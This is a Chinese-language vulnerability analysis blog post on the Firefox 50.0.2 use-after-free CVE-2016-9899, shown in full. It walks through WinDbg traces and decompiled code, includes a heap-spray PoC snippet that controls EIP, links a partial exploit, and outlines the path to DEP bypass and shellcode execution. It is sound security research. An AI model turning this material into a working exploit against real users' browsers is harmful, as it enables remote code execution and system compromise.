Firefox 50.0.2 释放后重用漏洞分析(CVE-2016-9899)

作者:k0shl 转载请注明出处 作者博客:http://whereisk0shl.top


前言


小年已过,过年的节奏了,给大家拜个早年,新年快乐!

好久没有碰到过这样的释放后重用漏洞了,其漏洞成因是一个非常经典的成因,由于释放后会产生一个野指针,但是没有对指针引用计数处理,导致重新申请内存对野指针进行占位,占用的野指针会作为虚函数指针被引用到,从而导致代码执行。

在我们分析释放后重用的过程中,经常会用gflags /I +hpa开启页堆监视,然后用!heap -p -a addr观察指针的申请释放等过程,同时也可以通过加载符号表,来观察函数调用传递参数的类型,但是在这次调试中,我开启了gflags却没法定位到目标指针的对象,申请,释放过程,加载符号表后也观察不到这个函数传递参数的类型,这时我们可以通过堆栈回溯来进行分析,这也是一种小技巧。

这种小技巧相对!heap的方法稍微麻烦一些,而且主要浏览器在进行各种逻辑处理的过程中,不止一次会调用到kb堆栈回溯过程中的函数调用,因此在这个过程中,我们需要针对触发漏洞的这个符号路径不断的进行断点调整,一旦我们分析出一条执行路径,我们就可以推断出函数传递参数的类型,以及我们需要跟踪的重要函数调用,如果函数被多次调用到,我们可以通过条件断点来分析整个释放后重用过程。


漏洞复现


在文章末尾,我提供一个我修改过的半个exp,这个exp差一个shellcode和一个rop gadget,主要是堆喷后需要一个rop gadget来将esp栈帧的地址修改成堆中rop的地址,这样才能顺利执行rop,其实用mona就可以完成搜索,之后在rop chain后面加上shellcode就可以了。

首先poc可以直接在exploit db上获取到,poc地址: https://www.exploit-db.com/exploits/41042/

我们可以直接获取到firefox的符号表服务器,用windbg加载,srv*http://symbols.mozilla.org/firefox

然后打开PoC,火狐崩溃了。

(7f8.b0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=1637d800 ebx=00000000 ecx=0012dea8 edx=4543484f esi=0012dec4 edi=14e8dee0

eip=0292c44c esp=0012de98 ebp=0012deac iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206

xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d:

0292c44c ff12            call    dword ptr [edx]      ds:0023:4543484f=????????

这个崩溃的位置很屌,是call [edx],看上去像是个虚函数的调用,而且4543484f这个地址正是我们在PoC中的一个位置。

 for(var i=0;i<4096;i++) {           //replace
                    pl[i]=new Uint8Array(1000);
                    pl[i][0] = 0x4F;
                    pl[i][1] = 0x48;
                    pl[i][2] = 0x43;
                    pl[i][3] = 0x45; //eip  
                    for(var j=4;j<(1000) - 4;j++) pl[i][j] = 0x91; 
                   // pl[i] = document.createElement('media');
                    //document.body.appendChild(pl[i]);
                }

在PoC中我们申请了大量4096个数组,每个数组大小是1000,前4个字节正是call[edx]调用时edx的值,这意味着我们可能是可以利用这个漏洞RCE的,接下来我们通过!heap的方法,没法看到目标到底是怎么样一个申请释放的过程,通过kb可以回溯到堆栈调用。

0:000> kb

ChildEBP RetAddr  Args to Child              

0012deac 0173df89 0feccc00 0012decc 0012dee8 xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\dist\include\nscomptr.h @ 504]

0012debc 012dfa21 00000000 00000000 0e9786c0 xul!nsPluginFrame::BeginSwapDocShells+0xf [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nspluginframe.cpp @ 1796]

0012dee8 0137f404 0173df7a 00000000 125fd1c0 xul!nsIDocument::EnumerateActivityObservers+0x33 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsdocument.cpp @ 10246]

0012df04 0137f3a6 12781800 00000000 140c2058 xul!BeginSwapDocShellsForDocument+0x42 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nssubdocumentframe.cpp @ 1100]

0012df1c 0137f2ab 140c1d90 140c21a8 140c2058 xul!BeginSwapDocShellsForViews+0x1e [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nssubdocumentframe.cpp @ 1112]

0012df34 011b3ef5 140c2058 140c2058 140c1d40 xul!nsSubDocumentFrame::DestroyFrom+0x36 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nssubdocumentframe.cpp @ 999]

0012df78 016897ff 140c2058 00000002 140c1d40 xul!nsBlockFrame::DoRemoveFrame+0x108 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nsblockframe.cpp @ 5797]

0012df90 011dd9f4 00000001 140c2058 134dd080 xul!nsBlockFrame::RemoveFrame+0x27 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\generic\nsblockframe.cpp @ 5162]

0012dfb0 011dd811 00000001 140c2058 0c4969b0 xul!nsFrameManager::RemoveFrame+0x3c [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\base\nsframemanager.cpp @ 513]

0012e00c 011df01b 10ef4420 134dd080 113f5940 xul!nsCSSFrameConstructor::ContentRemoved+0x1b0 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\base\nscssframeconstructor.cpp @ 8414]

0012e058 011e0e78 11145800 113f5940 134dd000 xul!PresShell::ContentRemoved+0xc0 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\base\nspresshell.cpp @ 4432]

0012e094 011e17de 00000001 113f5900 10ef4454 xul!nsNodeUtils::ContentRemoved+0xd5 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsnodeutils.cpp @ 226]

0012e0b8 011e1774 00000001 00000001 134dd080 xul!nsINode::doRemoveChildAt+0x5a [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsinode.cpp @ 1906]

0012e0dc 016e2401 00000001 00000001 00000000 xul!mozilla::dom::FragmentOrElement::RemoveChildAt+0x35 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\fragmentorelement.cpp @ 1162]

0012e0f4 016e23b9 0132dd44 0a34b000 0012e144 xul!nsINode::Remove+0x34 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsinode.cpp @ 1828]

0012e0f8 0132dd44 0a34b000 0012e144 134dd080 xul!mozilla::dom::ElementBinding::remove+0x9 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\dom\bindings\documenttypebinding.cpp @ 302]

0012e1c4 0132d81a 00000000 0012e358 0000003a xul!js::InternalCallOrConstruct+0x4d4 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 453]

0012e1e8 011fc510 0ece2868 0c710705 0012e2e8 xul!InternalCall+0x9a [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 498]

0012e3a8 012fbb08 0c71055f 00000001 0c4b8060 xul!js::jit::DoCallFallback+0x3f0 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\baselineic.cpp @ 5979]

0012e4c0 0138817a 0a34b000 0c4b80c0 0012ee38 xul!EnterBaseline+0x288 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\baselinejit.cpp @ 158]

0012e59c 013a496b 0c498c97 0a34b000 1657ed30 xul!js::jit::EnterBaselineAtBranch+0x2ab [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\baselinejit.cpp @ 262]

0012ee38 0185bfdd 0012eef8 0012eef8 0012eef8 xul!Interpret+0x89bb [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 1877]

0012eec8 01223230 0a34b000 0012eee8 14a52060 xul!js::RunScript+0x21d [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 399]

0012ef28 013507bb 0012f004 0012ef58 00000000 xul!js::ExecuteKernel+0x64 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 682]

0012ef70 013504c6 0012f004 00000000 0012f0d8 xul!js::Execute+0x76 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\vm\interpreter.cpp @ 711]

0012f038 01659c6b 0012f060 0012f06c 0012f14c xul!Evaluate+0xaa [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jsapi.cpp @ 4436]

0012f074 01186b50 0012f258 0012f14c 0012f188 xul!Evaluate+0x66 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jsapi.cpp @ 4463]

0012f11c 011862c5 0012f240 0012f258 0012f198 xul!nsJSUtils::EvaluateString+0x242 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base

回溯的内容非常详尽,这就很有趣了,我们可以通过回溯的过程,来看看一个完整的符号路径的过程,在最后call [edx]调用一个什么样的对象,而之前哪里和这个过程有关。

在回溯的过程中,我发现xul中几个比较有趣的函数调用,比如doRemoveChildAt,这样我们下几个断点。

0:000> bl

 0 e 02961784     0001 (0001)  0:**** xul!nsINode::doRemoveChildAt

 1 e 029617d9     0001 (0001)  0:**** xul!nsINode::doRemoveChildAt+0x55

 2 e 02960e75     0001 (0001)  0:**** xul!nsNodeUtils::ContentRemoved+0xd2 ".if(poi(eax+2c)==0x0295ef5b){;}.else{g;}"

 3 e 0295d80c     0001 (0001)  0:**** xul!nsCSSFrameConstructor::ContentRemoved+0x1ab

0:000> bc 0 1

0:000> bp xul!nsNodeUtils::ContentRemoved+0xd2 ".if(poi(eax+2c)==0x0295ef5b){.printf \"struct at : 0x%08x\\n\",@esi;g;}.else{g;}"

执行的时候,会先命中到doRemoveChildAt函数,从这个函数可以开始向内层函数跟踪。

Breakpoint 0 hit

eax=0005ce78 ebx=0005d018 ecx=1356ec90 edx=1164a400 esi=1356ec90 edi=1356ecc4

eip=02961784 esp=0005ce5c ebp=0005ce7c iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

xul!nsINode::doRemoveChildAt:

02961784 55              push    ebp

向内层跟踪要遵循一个原则,就是我们在这一次函数跟踪中,可能不会按照堆栈回溯的函数调用关系进行调用,因此,当出现条件分支跳转之后无法执行到在kb回溯中的内层函数的时候,我们就需要在正常的条件分支位置下断点进行跟踪,比如。

0:000> p

eax=00000000 ebx=1164a400 ecx=1356ec90 edx=1164a400 esi=1356ec90 edi=1333df70

eip=0295d873 esp=0005cdac ebp=0005cdac iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

xul!nsCSSFrameConstructor::ContentRemoved+0x212:

0295d873 5d              pop     ebp

0:000> p

eax=00000000 ebx=1164a400 ecx=1356ec90 edx=1164a400 esi=1356ec90 edi=1333df70

eip=0295d874 esp=0005cdb0 ebp=1333e070 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

xul!nsCSSFrameConstructor::ContentRemoved+0x213:

0295d874 c21800          ret     18h

0:000> bp 0295d80c

0:000> g

Breakpoint 0 hit

eax=0005e058 ebx=0005e1f8 ecx=1356ec90 edx=11648c00 esi=1356ec90 edi=1356ecc4

eip=02961784 esp=0005e03c ebp=0005e05c iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

xul!nsINode::doRemoveChildAt:

02961784 55              push    ebp

分析到这一步的时候,我发现程序并没有进行内层函数调用,而是直接进入返回的条件分支,因此我在条件分支的另一个loc下了个断点,之后按g执行,确保程序是按照崩溃时的函数调用关系进行的。

Breakpoint 3 hit

eax=00000001 ebx=16927750 ecx=13fe7900 edx=00000004 esi=13fe7900 edi=1593a470

eip=0295d80c esp=0012e0a8 ebp=0012e0f8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

xul!nsCSSFrameConstructor::ContentRemoved+0x1ab:

0295d80c e8a7010000      call    xul!nsFrameManager::RemoveFrame (0295d9b8)

之后程序会进入正确的分支,然后继续单步跟踪,以这种方式从doremovchildat函数,跟踪到程序崩溃时的调用。

0:000> p

eax=11016c00 ebx=00000000 ecx=0012deb8 edx=04d9b070 esi=0012ded4 edi=114928e0

eip=0292c44c esp=0012dea8 ebp=0012debc iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d:

0292c44c ff12            call    dword ptr [edx]      ds:0023:04d9b070={xul!mozilla::dom::HTMLMediaElement::QueryInterface (02c430df)}

当到达崩溃位置的汇编代码时,我发现这是一处虚函数调用,edx是由eax赋值来的,而eax正是这个函数的第一个传入参数。

0:000> dps 11016c00

11016c00  04d9b070 xul!mozilla::dom::HTMLAudioElement::`vftable'

11016c04  04dc75d8 xul!mozilla::dom::HTMLAudioElement::`vftable'

看一下eax的值,其中这个虚表第一个指针指向的地址04d9b070就是edx的值,也就是edx是虚表的第一个虚表指针,而我们崩溃现场正是edx的值变成了一个我们可控的值,这样就很有趣了。说明eax这个虚表在某处可能被释放又被引用了,记录下之前的调试过程,我们向前搜索,看看11016c00这个值从何而来。

0:000> p

eax=1161b800 ebx=00000000 ecx=00000008 edx=0d08b480 esi=143a1000 edi=114928e0

eip=02a5fa1e esp=0012ded4 ebp=0012def8 iopl=0         nv up ei ng nz ac po cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293

xul!nsIDocument::EnumerateActivityObservers+0x30:

02a5fa1e ff5508          call    dword ptr [ebp+8]    ss:0023:0012df00={xul!nsPluginFrame::BeginSwapDocShells (02ebdf7a)}

0:000> dd esp

0012ded4  11016c00 00000000 0d08b480 1161b800

向前查找中,我们发现这个值会作为第一个参数传入BeginSwapDocShells,因此我们在这个函数被调用的时候下条件断点,来跟踪每次这个函数调用时的传入参数。

0:000> bl

 0 e 02a5fa1e     0001 (0001)  0:**** xul!nsIDocument::EnumerateActivityObservers+0x30 ".if(poi(ebp+8)==0x02ebdf7a){.printf \"Object At : 0x%08x\\n\",@eax;g;}.else{g;}"

之后直接执行,打印多个Object之后会命中崩溃位置。


Object At : 0x0ee47348

Object At : 0x0ee47350



Object At : 0x0ee473e8

Object At : 0x0ee473f0

(7f8.b0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=1637d800 ebx=00000000 ecx=0012dea8 edx=4543484f esi=0012dec4 edi=14e8dee0

eip=0292c44c esp=0012de98 ebp=0012deac iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206

xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d:

0292c44c ff12            call    dword ptr [edx]      ds:0023:4543484f=????????

Ok,观察一下这个申请的对象,来看一下崩溃时的。

0:000> dps 0ee473e8

0ee473e8  e83f9b01

0ee473ec  0f77cc00

0ee473f0  f6dcc600

0ee473f4  1637d800

0:000> dps 1637d800

1637d800  4543484f

1637d804  91919191

1637d808  91919191

可以看到,崩溃时的虚表已经被覆盖了,再来看看之前的。

0:000> dps 0ee47348

0ee47348  49479f01

0ee4734c  10605c00

0ee47350  56dc6401

0ee47354  15861000

0:000> dps 15861000

15861000  04d9b070 xul!mozilla::dom::HTMLAudioElement::`vftable'

15861004  04dc75d8 xul!mozilla::dom::HTMLAudioElement::`vftable'

发现上一次有关的虚表存放的是HTMLAudioElement对象,回头看一下PoC。

   doc.body.appendChild(document.createElement("audio")).remove();      
   m(1024,1024); 

这里我们申请的对象也是audio,很有可能就是这个对象,接下来我们通过xul找到关于这个对象的申请和释放函数的内容。首先来看看和申请有关的mozilla::dom::HTMLAudioElement::Audio。

int __usercall mozilla::dom::HTMLAudioElement::Audio@<eax>(int a1@<edx>, int a2@<ecx>, int a3, int a4)

{

  v4 = a2;

  v5 = mozilla::dom::GlobalObject::GetAsSupports(a1);

  nsCOMPtr_nsPIDOMWindowInner_::nsCOMPtr_nsPIDOMWindowInner_(v5);

  if ( v11 && (v6 = *(_DWORD *)(v11 + 8)) != 0 )

  {

    v7 = *(_DWORD *)(v6 + 220);

    nsNodeInfoManager::GetNodeInfo(&v12, nsGkAtoms::audio, 0, 3, 1, 0);

    if ( _moz_xmalloc(1000) )

      v8 = mozilla::dom::HTMLAudioElement::HTMLAudioElement(&v12);

    else

      v8 = 0;

    RefPtr_mozilla::dom::HTMLCanvasElement_::RefPtr_mozilla::dom::HTMLCanvasElement_(v8);

    v9 = v12;

    Memory = "a";

    v14 = 4;

    v15 = 33;

    nsXULElement::SetXULAttr(nsGkAtoms::preload, &Memory, a4);

    ReleaseData(Memory);

    if ( *(_DWORD *)a4 & 0x80000000 )

    {

      *(_DWORD *)v4 = 0;

      if ( v9 )

        mozilla::dom::FragmentOrElement::Release(v9);

    }

    else

    {

      if ( *(_BYTE *)a3 )

        *(_DWORD *)a4 = (*(int (__thiscall **)(int, _DWORD, int, _DWORD, _DWORD, signed int))(*(_DWORD *)v9 + 224))(

                          v9,

                          0,

                          nsGkAtoms::src,

                          0,

                          *(_DWORD *)(a3 + 4),

                          1);

      *(_DWORD *)v4 = v9;

    }

  }

  else

  {

    *(_DWORD *)v4 = 0;

    *(_DWORD *)a4 = -2147467259;

  }

  nsCOMPtr_base::_nsCOMPtr_base(&v11);

  return v4;

}

函数中申请了一个地址_moz_xmalloc(1000),大小是1000,正好和我们后面占位申请的Array大小相同,再来看看释放。

void *__thiscall mozilla::dom::HTMLAudioElement::_scalar_deleting_destructor_(void *Memory, char a2)

{

  void *v2; // esi@1



  v2 = Memory;

  mozilla::dom::HTMLAudioElement::_HTMLAudioElement();

  if ( a2 & 1 )

    _free(v2);

  return v2;

}

其中释放的是v2指针,接下来我们就要跟踪v2指针,看看是不是HTMLAudioElement对象释放了,然后再被引用到,接下来在释放位置下一个条件断点来打印free的时候指针值。

0:000> bl

 1 e 03b56d8e     0001 (0001)  0:**** xul!mozilla::dom::HTMLAudioElement::`scalar deleting destructor'

 2 e 02a5fa1e     0001 (0001)  0:**** xul!nsIDocument::EnumerateActivityObservers+0x30 ".if(poi(ebp+8)==0x02ebdf7a){.printf \"Object At : 0x%08x\\n\",@eax;g;}.else{g;}"

0:000> bc 1

0:000> bp 03b56d9e ".printf \"Free Object At : 0x%08x\\n\",@esi;g;"

接下来按g执行。

Free Object At : 0x11899800

Free Object At : 0x11899400

Free Object At : 0x11899000

Free Object At : 0x11898400

Free Object At : 0x11897800

Free Object At : 0x11896c00

Free Object At : 0x11895c00

Free Object At : 0x1188ec00

Free Object At : 0x1188e800

Free Object At : 0x1188e400

Free Object At : 0x11866400

Free Object At : 0x11865800

Free Object At : 0x11865400

Free Object At : 0x11865000

Free Object At : 0x11864c00

Free Object At : 0x11864400

Free Object At : 0x11863000

Free Object At : 0x11861c00

Object At : 0x0d04fa60

(ed0.ed4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=11899800 ebx=00000000 ecx=0012deb8 edx=4543484f esi=0012ded4 edi=10f39be0

eip=0292c44c esp=0012dea8 ebp=0012debc iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206

xul!nsCOMPtr<nsIContent>::nsCOMPtr<nsIContent>+0x1d:

0292c44c ff12            call    dword ptr [edx]      ds:0023:4543484f=????????

注意我们第一次释放的虚表地址就是11899800,而我们在崩溃时引用到的也是11899800,因此这就是一个HTMLAudioElement对象的释放后重用漏洞,通过对象释放,然后利用一个1000大小数组占位,正好会占用到释放Audio的前4位,而这时没有对指针计数清零,会再次引用到这个指针,引发释放后重用。


漏洞利用


在漏洞利用时,我用了一个经典的堆喷脚本,会把rop chain和shellcode喷射到一个稳定的地址上,但是不同的喷射脚本对应的系统都不一样,之后通过rop绕过dep,再执行shellcode即可。

github地址:https://github.com/k0keoyo/try_exploit/blob/master/_cve_2016_9899_without_ropgadget/

我找了好久xchg,都没有找到非常合适的,如果师傅们有的话,求指导。谢谢!新年快乐!